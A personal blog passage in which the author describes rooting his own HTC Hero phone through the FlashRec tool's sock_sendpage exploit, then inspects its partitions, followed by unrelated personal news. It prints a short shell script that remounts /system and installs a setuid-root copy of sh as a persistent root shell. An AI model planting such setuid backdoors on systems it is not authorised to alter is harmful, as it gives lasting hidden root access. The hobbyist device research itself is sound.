After some more reading, I also found the FlashRec utility which can be used to flash recovery images without having to reboot into flashboot mode and send it manually. And the source code was available! That sounds like a good oportunity to learn how things work in the Android world... so I downloaded the sources and started reading through them.

As it turns out, this FlashRec tool uses the sock_sendpage exploit for the Android, which sounds like fun . So it includes an as_root binary which takes a template for a temporary file as its first argument, and then the command to be executed as root; when you press the 'flash' button, it just runs a flash_image binary included with Android but only executable for root.

But hey... do we really want to flash a recovery image? Well... it depends. In my case, I did because I wanted to install the new HTC Hero firmware update and I didn't have a handy Windows. But if that's not your case and you just want to obtain root, why don't you use this exploit to create a root shell?

You guessed it, that's what I did next . I just shrinked the FlashRec tool removing everything I didn't need, and made it execute a shell script that copied the /system/bin/sh shell into /system/bin/rootsh and gave it setuid root permissions. However, it took me quite a while to realize that there was no cp on this system! And it was because the ash shell it ships doesn't say Command not found when you type in cp as a non-privileged user, but Permission denied.

So my final script looked like this:


mount -o remount /dev/mtdblock3 /system
cat /system/bin/sh > /system/bin/rootsh
chmod 04755 /system/bin/rootsh
mount -o remount,ro /dev/mtdblock3 /system
exit 0

And after executing it I got the root shell waiting for me in /system/bin/rootsh. I only had to connect through adb and then run rootsh.


~ tuxed$ adb shell
* daemon not running. starting it now *
* daemon started successfully *
$ rootsh
#


Investigating the system structure

Well, we are in, now what? Let's take a look at the system structure: filesystems, shell, installed applications, etc. Let's start by running a mount to see what filesystems are there:

# mount
rootfs / rootfs ro 0 0
tmpfs /dev tmpfs rw,mode=755 0 0
devpts /dev/pts devpts rw,mode=600 0 0
proc /proc proc rw 0 0
sysfs /sys sysfs rw 0 0
tmpfs /sqlite_stmt_journals tmpfs rw,size=4096k 0 0
/dev/block/mtdblock3 /system yaffs2 ro 0 0
/dev/block/mtdblock5 /data yaffs2 rw,nosuid,nodev 0 0
/dev/block/mtdblock4 /cache yaffs2 rw,nosuid,nodev 0 0
/dev/block//vold/179:1 /sdcard vfat rw,dirsync,nosuid,nodev,noexec,uid=1000,gid=1000,fmask=0000,dmask=0000,allow_utime=0022,codepage=cp437,iocharset=iso8859-1,shortname=mixed,utf8 0 0
#

Ok, we can see a read-only filesystem mounted in the root directory ( using rootfs ), the usual /dev and /proc stuff and three partitions of the NAND flash mounted over /system , /data and /cache. The first one of them is mounted read-only and the latter are mounted with read-write permissions but suid files and devices are forbidden in there. Finally, our SD card is mounted under /sdcard as a FAT partition with read-write permission, and suid, devices and execution of binaries is forbidden from that partition.

Now, you are probably wondering... what about the missing partitions in the flash? Honestly, I didn't know either... one of them is for sure the recovery partition, which is where the code for recovering the device in case of problems (i.e. reflashing it) is stored. It helps to avoid bricked devices . But how do we find out what is what?

What I did is first rebooting my hero, because the device was started a while ago and I wanted to see the complete boot log doing a simple dmesg. Then I did it, and scrolled up to find this:


<5>[ 4.765655] Creating 6 MTD partitions on "msm_nand":
<5>[ 4.766082] 0x024c0000-0x02500000 : "misc"
<5>[ 4.767425] 0x026c0000-0x02bc0000 : "recovery"
<5>[ 4.768890] 0x02bc0000-0x02e40000 : "boot"
<5>[ 4.770355] 0x02e40000-0x0d840000 : "system"
<5>[ 4.771820] 0x0d840000-0x15a40000 : "cache"
<5>[ 4.773162] 0x15a40000-0x20000000 : "userdata"


So we have 6 partitions in the NAND flash: misc, recovery, boot, system, cache and userdata. That makes for a 512 MB NAND flash memory, which matches the advertised size. Now, we have 3 of them mounted, one of them is identified as the recovery image and another one presumably conatins the boot loader. What is the "misc" partition then? Honestly, right now I have no clue but I guess we'll find out in a later post.

That's it for today. I'm stopping here because I feel that it's taking forever and I want to post this and move on for something else.

To be continued...

As some of you already know, I'll continue working in The Netherlands for one more year, until September 2010. The workplace will be the same, so I'll be working on smart cards and embedded devices, a little bit of Java programming and playing with interesting things such as fault injection (voltage/clock manipulation or laser radiation injection) and side channel analysis.

On the personal side (i.e. not work-related), at the end of June / beginning of July I went to Valencia for my summer holidays. I was at Campus Party, where I gave a presentation on smart card security [audio in spanish, slides are in English] and I worked together with Javi and Amin to achieve the first position of the security wargame organized by SbD.

Since then, I've been playing soccer quite a bit with the new team as well as going out more than I expected (partly due to the soccer team), being the case that most of my friends from last year did go back to Spain or were still on holiday.

On the other hand, I've both an HTC Hero smartphone, which is something I've been wanting to do for a while now. Actually, it's a quite nice device and I've been tinkering with it and trying to discover how it all works. This means you can expect a related post in a few days... but for now a small preview:

$ adb shell
$ rootsh
#

Yes, I already got root on the device based on some information I found out there .

Finally, at the end of this week I'm going back home. First I'll go to Madrid, where I expect to gather with some of my Erasmus friends, some people from Wadalbertia and where I'll have my cousin's bachelor party. After this, I'll go to my village for the whole week... I'll try to schedule some post for you guys.